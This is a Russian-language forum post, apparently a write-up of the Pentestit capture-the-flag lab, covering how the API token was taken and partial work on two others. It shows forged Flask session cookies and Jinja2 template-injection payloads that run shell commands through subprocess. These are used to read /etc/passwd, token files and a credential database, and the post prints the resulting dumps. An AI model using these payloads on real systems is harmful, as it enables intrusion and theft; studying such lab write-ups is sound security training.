Показать сообщение отдельно

  #1  
Старый 12.01.2019, 22:31
clevergod
Участник форума
Регистрация: 20.03.2019
Сообщений: 106
С нами: 3763876

Репутация: 0
По умолчанию

Последний и самый не простой рывок в сторону коллекционирования оставщихся 3 токенов.
Глубоко вздохнули и погнали...

API Token
Натыкаемся еще на один упущенный айпишник: 172.16.2.16

Bash:


Код:
Starting Nmap
7.70
(
https://nmap.org
)
at
2019
-01-06 02:04 Oaio?aeuiay Acey
(
ceia
)
Nmap scan report
for
172.16
.2.16
Host is up
(
0
.20s latency
)
.
Not shown:
999
filtered ports
PORT STATE SERVICE
8000
/tcp
open
http-alt
Nmap done:
1
IP address
(
1
host
up
)
scanned
in
197.34
seconds


Думаем, что можно сделать.

Bash:


Код:
.
\
dirsearch.py -u http://172.16.2.16:8000 -e php,txt,bak,json,html,log,conf,cfg,ini,xls,doc,phtml -x
301,403
,503,302 --random-agent
_
|
.
_ _ _ _ _ _
|
_ v0.3.8
(
_
||
|
_
)
(
/_
(
_
||
(
_
|
)
Extensions: php, txt, bak, json, html, log, conf, cfg, ini, xls, doc, phtml
|
Threads:
10
|
Wordlist size:
10148
Target: http://172.16.2.16:8000
[
02:51:29
]
Starting:
[
02:53:16
]
405
- 178B - /auth
[
02:54:56
]
405
- 178B - /search
Task Completed
Нашли 2 странички: auth и search в 405 ошибке...



Bash:


Код:
curl
-o-
'http://172.16.2.16:8000/auth'

405
Method Not Allowed

Method Not Allowed

The method is not allowed
for
the requested URL.


Bash:


Код:
curl
-o-
'http://172.16.2.16:8000/search'
curl:
(
7
)
Failed to connect to
172.16
.2.16 port
8000
: Connection refused
Странно, что ответ получаем разный, возможно сетка в очередной раз захлебывается.
Не забываем использовать все подручные инструменты (мне иногда сподручнее Acunetix Tools)



Нам нужен ключик лицензии (русский язык все же не всю суть отражает). Будем искать.

Есть неплохая мысль которую сгенерил на днях Кайрат- нужно играть с куками. Мне кажется, что на хосте my.test.lab есть еще что-то, чего мы не видели. Нам в итоге не удалось раскрутить SSTI на RCE в браузере, но можем пробовать под админом зайти или использовать куки.

Для работы с кукарями пользуйтесь лисой (Mozilla Firefox) - F12 - сеть или расширение к лисе еще можете бурпом или плагином для иного браузера.



скриптом noraj/flask-session-cookie-manager :

Bash:


Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"admin"}'
ну или

Bash:


Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"asd"}'
и вставим в результат:



и мы получили ключики:



Бежим немедленно на API сервис вставлять их, но перед нами встает большая загадка, как вставить ключики в
Код:
http://172.16.2.16:8000/auth
POST запросами и другими не выходит.

А еще мы понимаем, что в куках есть SSTI уязвимость:



хз как, но ваф блочит тэг
Код:

и как его обойти пока что загадка...

Кайра пробился в куки:
По этой статье https://github.com/swisskyrepo/PayloadsAllTheThings ищем Jinja2 - Remote Code Execution via reverse shell и находим, что с помощью
Код:
''.__class__.__mro__[1].__subclasses__()
Код:
 можно
посмотреть все подключенные классы.[/B]

Bash:


Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__() }}"}'


Подставляем вывод в куки и видим:



Далее дампим вывод в файл и ищем индекс интересных библиотек.

(find.py)

Цитата:

import sys
a = []
with open('tr.txt') as f:
f = f.read().split(', ')
for l in f:
l = l.strip()
a += [l]
for x in a:
if sys.argv[1] in x:
print x, a.index(x)


Вывод:

Bash:


Код:
python find.py
open

248

413


Видим, что у нас есть subprocess.Popen значит можем сделать RCE. Для начала, запишем команду вывода/etc/passwd в конфиг и включим его в глобальный конфиг:

Bash:


Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_ETC_PWD=open(\\\\\\\"/etc/passwd\\\\\\\").read()\\\" > /tmp/drrr123.cfg\", shell=True) }}"}'
Подставляем куки, и видим что процесс выполнился:



Попробуем включить конфиг:

Код:
{{ config.from_pyfile('/tmp/drrr123.cfg') }}
Пробуем обратится к нашему параметру,

Код:
{{config["MY_ETC_PWD"]}}
и вуаля RCE!



Видим юзера flask-api:x:1001:1001::/var/www/api:/bin/false и пробуем посмотреть его файлы:

Bash:


Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"import os;MY_OS_LIST_DIR=os.listdir(\\\\\\\"/var/www/api/\\\\\\\")\\\" > /tmp/drrr124.cfg\", shell=True) }}"}'


В дело включился cutoffurmind и пробился благодаря статье Python: List Files in a Directory

Bash:


Код:
import
os MY_BLA
=
os.listdir
(
'.'
)


Цитата:

'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'],

Идеально!


Дальше рыскаем по серваку, что там еще есть.



Цитата:

<Config {&//39;MY_OPEN': &//39;root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'PROPAGATE_EXCEPTIONS': None, 'TESTING': False, 'JSON_SORT_KEYS': True, 'MY_OS': <built-in function system>, 'APPLICATION_ROOT': '/', 'MY_LIST_FILES6': ['pyvenv.cfg', 'lib64', 'include', 'bin', 'lib', 'share'], 'SESSION_REFRESH_EACH_REQUEST': True, 'MY_OUT_READ': 'hello test\n', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'DEBUG': False, 'USE_X_SENDFILE': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'SESSION_COOKIE_SAMESITE': None, 'SESSION_COOKIE_HTTPONLY': True, 'MAX_COOKIE_SIZE': 4093, 'JSONIFY_MIMETYPE': 'application/json', 'TRAP_HTTP_EXCEPTIONS': False, 'ENV': 'production', 'MY_SUB': b'', 'SESSION_COOKIE_DOMAIN': False, 'MY_OOUT': 'hello test\n', 'MAX_CONTENT_LENGTH': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_NAME': 'session', 'TEMPLATES_AUTO_RELOAD': None, 'MY_TEST': 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13roxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false\nDebian-exim:x:104:109::/var/spool/exim4:/bin/false\nmessagebus:x:105:110::/var/run/dbus:/bin/false\nstatd:x:106:65534::/var/lib/nfs:/bin/false\nsshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin\n_apt:x:108:65534::/nonexistent:/bin/false\nnginx:x:109:113:nginx user,,,:/nonexistent:/bin/false\nflask-site:x:1000:1000::/var/www/site:/bin/false\nflask-api:x:1001:1001::/var/www/api:/bin/false\n', 'SESSION_COOKIE_SECURE': False, 'JSON_AS_ASCII': True, 'PREFERRED_URL_SCHEME': 'http', 'SECRET_KEY': 'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg==', 'TMP_OPEN': '', 'MY_OUT_READ3': '', 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'SERVER_NAME': None, 'MY_LIST_FILES': ['templates', 'venv', '.bash_history', 'site.ini', 'requirements.txt', 'site.sock', 'README.md', '.viminfo', 'decode_cookie.py', '__pycache__', 'app.py', 'static'], 'MY_OUT_READ2': 'hello test\n', 'MY_BASH_API': 'psq\npwd\nls\nrm -rf venv\nls\nls -la\npython3 -m venv venv\n. venv/bin/activate\npip install -r requirements.txt \necho $http_proxy\ncat /etc/apt/apt.conf\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install -r requirements.txt \nvim /etc/nginx/conf.d/site.conf \nls\ntouch site.sock\ndeactivate \nls\n. venv/bin/activate\npip install uwsgi\nexport http_proxy="http://192.168.56.3:3128"\nexport https_proxy="http://192.168.56.3:3128"\npip install uwsgi\nuwsgi\n'}>

Прокся? это интересно, но видимо не для нас.


Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной. Крутяк, нашли файл токен



Теперь прочитаем:

Bash:


Код:
python2 session_cookie_manager.py encode -s
'UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=='
-t
'{"role": u"{{ \"\".__class__.__mro__[1].__subclasses__()[413](\"echo \\\"MY_API_READED=open(\\\\\\\"/var/www/api/token.txt\\\\\\\").read()\\\" > /tmp/drrr125.cfg\", shell=True) }}"}'
Снова подгружаем наш конфиг, и пробуем обратиться к нашей переменной.

Задание выполнено и флаг у нас:



Tips - ищите токен, он в
Код:
/var/www/api/token.txt


Меня лично к этому жизнь не готовила, забираю свои слова - этот токен был намного сложнее всех тех, которые мы уже взяли...



________________________________________

У нас осталось 2 токена: Admin и Image



________________________________________


ADMIN Token

Заблудился где-то на уровне хоста 172.16.1.25, который так и называется admin.test.lab, но для коннекта по SSH нужен ключик, мы его нашли но пока коннект не обеспечен. Есть мысли, что этот хост судя по найденным данным в SIEM имеет клиента для сием, может через него попробовать подрубиться или запросами получить данные, а может ранее найденные сертификаты на хостах с SSH и есть ключ к которому нужно сделать пару. Еще будем пробовать найти зацепки на хосте my.test.lab...


Пробуя найти информацию на хосте my.test.lab используя RCEчерез куки, нашли много информации, пытались ее вытаскивать, но как Вы понимаете без прямого доступа постоянно формируя куки - это сравни безумия.

Кайрат вытащил все таки эту api.db:

Код:
http://my.test.lab/?q={{config["MY_APP"]}}


Вытащил таблицы:



Bash:


Код:
sqlite
>
.tables
alembic_version user
sqlite
>
select
* from user
;
1
|
user1
|
z8ld5F9DPyomobF9U6mmG0c5EvsMsmOY
|
xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY
2
|
admin
|
PasswordForValidation__fk3n5fcaa
|
sstQrqwhjA84GWvVOAzKH8cD1xfMdfaH
3
|
user3
|
eN5tT6IqYqT2KI7yMqIPUpjvh2MeZgR4
|
XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN
4
|
user4
|
IK1rXC0dL6vQzj59z8OmXYWuHkO8yih7
|
pVhB854TZHSqjtI32UwRSgRyRIFj5siG
sqlite
>
select
* from alembic_version
..
.
>
;
sqlite
>

Нашли скрипт api.run.py, в котором находим интересные строки:

Цитата:

def init_data():
token_list = list() //для предоставления токена в JSON API
pkey_list = list() //для предоставления pkey в куках


Цитата:

//Создание листа токенов

t = open('token.txt', 'w')

for i in range(5): //всего 5 пользователей

new_token = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])

token_list.append(new_token)

t.write(str(new_token)+'\n')

//Создание pkey для кук

for i in range(5):

new_pkey = ''.join([random.choice(string.ascii_letters + string.digits) for n in range(32)])

pkey_list.append(new_pkey)

// username - token - pkey

users = [

('user1', token_list[1], 'xQfnwpmfSunRXdgz63UVwgDnFSbFPFCY'),

('admin', 'PasswordForValidation__fk3n5fcaa', pkey_list[0]),

('user3', token_list[2], 'XsKmbCs55LlGcOr7rzsYT2EQuNPcvLBN'),

('user4', token_list[3], 'pVhB854TZHSqjtI32UwRSgRyRIFj5siG'),

]

//Внесение данных в БД

conn = connect_db()

cur = conn.cursor()

cur.executemany('INSERT INTO `user` VALUES(NULL,?,?,?)', users)

conn.commit()

conn.close()

И тут, снова, Кайрат выдает нам сюрприз:



В коде просят токен в качестве куки, и если токен от админа качается файл:



Bash:


[CODE]
curl
-X POST -v -b
'token=PasswordForValidation__fk3n5fcaa'
172.16
.2.16:8000/search -o token.gz
* Trying
172.16
.2.16
..
.
* TCP_NODELAY
set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0
0
0
0
0
0
0
0
--:--:-- --:--:-- --:--:--
0
* Connected to
172.16
.2.16
(
172.16
.2.16
)
port
8000
(
0
)
>
POST /search HTTP/1.1
>
Host:
172.16
.2.16:8000
>
User-Agent: curl/7.62.0
>
Accept: */*
>
Cookie:
token
=
PasswordForValidation__fk3n5fcaa
>
0
0
0
0
0
0
0
0
--:--:--
0
:00:04 --:--:--
0 черные, черные -> трэш и заполняем, а потом HEX...


Вот вывод одного из кодированных изображений такой:



Делаем чистку и получаем:



Брюки превращаются:

Цитата:

#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒ ▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒ #Eg▒▒▒▒#Eg▒▒▒▒#Eg▒▒▒▒#Eg ▒▒▒#Eg▒▒▒▒#Eg▒▒



Немного по играясь скажу - что мы и Вы на верном пути, токен ТУТ, он где-то рядом! Автор скрипта очень хороший и отзывчивый d3cartкоторый делал его по наводкам нашего очень хорошего товарища и форумчанина взявшего 2 место в лабаратории @BadBlackHat да и скрипт не дам, не просите!







________________________________________


Заключение:

В целом я очень доволен нашим результатом, меньше месяца и мы победили ее, я завершил последний токен 14-м!


Хочу пожелать организаторам никогда не останавливать эту пищу для мозга, которая так нужна всем молодым и растущим безопасникам, аналогов которой нет в просторах интернета, за что команде Pentestit спасибо! Но я бы хотел конечно видеть в личном кабинете хотя-бы занимаемое место.

Так же, хотел отметить, что неважно насколько Вы считаете себя умным или наоборот, помните - только команда специалистов может привести к верному результату, ведь Вы никогда не будете подготовлены во всех областях сразу. Как и команда из Codeby взявшая 2-5 места, мы и наши новые друзья с России, Казахстана, Белоруссии только сплочившись нашли различные варианты решений имея разные взгляды на задачи. Еще раз большое спасибо 3n.do, cutoffurmind, Кайрат, d3cart,bin0nim4rk,ну и конечно же взявшему второе место BadBlackHat, с которым познакомились уже по завершению лабаратории. Все ребята проявили отзывчивость, умение работать в комманде и целеустремленность, низкий Вам поклон !!!

Ну и Вам, кто дочитал все эти умозаключения до конца большое спасибо, растите умственно, становитесь безопаснее с нами... да и совсем забыл, Соблюдайте законодательство, никогда не используйте свои навыки во вред и злонамеренно и эта статья лишь прохождение лабораторной работы и написана для ознакомления. Надеюсь Вам понравилось прохождение и разбор всех тасков и Вы отблагодарите меня за старания и труд

Ну и напоследок, не думайте, что это так сложно, как Выучить C++ за 21 день. Всегда стремитесь и Вас всегда будет ждать успех!



Статья взята с
https://securixy.kz
 
Ответить с цитированием